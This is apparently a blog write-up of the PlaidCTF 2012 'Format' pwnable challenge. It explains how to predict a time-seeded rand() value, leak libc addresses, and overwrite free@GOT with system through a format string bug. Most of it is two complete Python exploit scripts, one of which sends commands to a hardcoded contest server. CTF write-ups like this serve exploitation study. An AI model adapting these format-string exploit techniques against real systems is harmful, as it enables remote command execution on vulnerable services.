PlaidCTF 2012 – Format [99] (Pwnables)

Up on a hill, far away, sits the robot king of old. While he was once great, he recently has seemed to just offer simple challenges. Vanquish him and bring honor to your team!

Summary: rand guessing, format string exploitation 

File is x86 ELF which consists plenty of format string vulnerabilities.

But to exploit them we have to solve some issues.

First of all, we have to send password. It is kept in file as plain text:

“2ipzLTxTGOtJE0Um”

Second, we have to guess pseudo random number which is generated from time.

time((time_t *)&current_time);
current_time /= 60;
srand(current_time);
rnd_number = rand();
//	…
printf("Name: ");
fflush(stdout);
fgets(szName, 256, stdin);
printf("Guess: ");
fflush(stdout);
fgets(szGuess, 32, stdin);
our_number = atoi(szGuess);
if ( our_number != rnd_number )
{
    puts("Wrong value!");
    exit(1);
}

There are two the easiest ways to guess.

To write small program like:

#include <time.h>
void main(void)
{
  time_t curr_time;
  srand(time(&amp;curr_time)/60);
  printf("%d", rand());
}

and to execute it before starting a target program.

If we are going to write exploit at python we can use ctypes lib (hellman’s idea =) )

LIBC = ctypes.cdll.LoadLibrary("./libc.so.6")
t = LIBC.time(0)/60
LIBC.srand(t)
return str(LIBC.rand())

So, now we are ready to exploit target program. Finally, we decide to use a printf (0x080489FD) after snprintf (0x080489F1). Rewrite free@got with system@libc, which address can be calculated from a memory leak and an offset from given library.

There are two exploits:
By zyx2145:

#!/usr/bin/python
import os
import subprocess 
import sys
import struct
import ctypes
 
def get_rnd_str():
   LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") 
   t = LIBC.time(0)/60
   LIBC.srand(t)
   return str(LIBC.rand())
 
################################## get real address of system ##########################
PW = "2ipzLTxTGOtJE0Um\n"
addr = 0x8049E30 # atoi address
system_org = 0x00039100 # system offset in libc.so.6
atoi_org = 0x0002D870 # atoi offset in libc.so.6
buf = PW + struct.pack("<I", addr) + "XXXX%19$s\n"
buf += get_rnd_str()
 
p2 = subprocess.Popen(["./problem"],  stdout=subprocess.PIPE, stdin=subprocess.PIPE)
p2.stdin.write(buf)
result = p2.communicate()[0]
system = struct.unpack("<I",result[result.find("XXXX")+4:result.find("XXXX")+8])[0]
 
####################################### execute cat key ################################
buf = PW
addr = 0x08049e18 # address of free GOT
system = system + (system_org-atoi_org) # calculate real system address
high = system >> 16
low = system & 0xFFFF
start = 8
if high < low:
   buf += struct.pack("<I", addr+2) + struct.pack("<I", addr)+\
          "%%" + str(high - start) + "c%%21$hn"+\
          "%%" + str(low - high) + "c%%22$hn"+"; cat key\n"
else:
   buf += struct.pack("<I", addr) + struct.pack("<I", addr+2)+\
          "%%" + str(low - start) + "c%%21$hn"+\
          "%%" + str(high - low) + "c%%22hn"+"; cat key\n"
buf += get_rnd_str()
 
p3 = subprocess.Popen(["./problem"],  stdout=subprocess.PIPE, stdin=subprocess.PIPE)
p3.stdin.write(buf)
result = p3.communicate()[0]
result = result.replace(' ','')
print result[result.find("Bye,")+8:]

By hellman:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
 
from inc import *
from libformatstr import *
import ctypes
 
PW = "2ipzLTxTGOtJE0Um\n"
 
def do_fmt(fmt):
	LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") 
	t = LIBC.time(0)/60
	LIBC.srand(t)
	rnd = LIBC.rand()
 
	f = Sock("23.20.104.208", 56345, 10)
 
	f.read_until(": ")
	f.send(PW)
 
	f.read_until(": ")
	f.send(fmt + "\n")
 
	f.read_until(": ")
	f.send(str(rnd) + "\n")
 
	return f.read_until("Bye") + f.read_one()
 
def read_dword(addr):
	res = do_fmt(pack("<I", addr) + '0000%19$s')
	#print res
	res = res[res.find("playing, ") + 9:]
	if res[4:8] != "0000":
		print "FAIL"
	res = res[8:]
	start = unpack("<I", res[:4])[0]
	return start
 
system = 0xf7ec8450
#start = read_dword(0x08049e14)
#diff1 = 0x39450 - 0x16bc0
#system = start + diff1
 
low = system & 0xffff
high = system >> 16
start = 8
 
addr = 0x8049E18
r = pack("<I", addr)
r += pack("<I", addr+2)
r += "%%" + str(low - start) + "c"
r += "%%21$hn"
r += "%%" + str(high - low) + "c"
r += "%%22$hn"
r += "; " + sys.argv[1]
print r
 
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") 
t = LIBC.time(0)/60
LIBC.srand(t)
rnd = LIBC.rand()
f = Sock("23.20.104.208", 56345, 10)
f.read_until(": ")
f.send(PW)
f.read_until(": ")
f.send(r + "\n")
f.read_until(": ")
f.send(str(rnd) + "\n")
 
s = ""
while not f.eof:
	try:
		s += f.read_one()
	except:
		pass
 
s = s[s.find("not found")+9:]
s = s[s.find("not found")+9:]
print s

Well done =)

Leave a Reply to Plaid CTF 2012 ~ Writeups collection | TechBrunch Cancel reply

Your email address will not be published.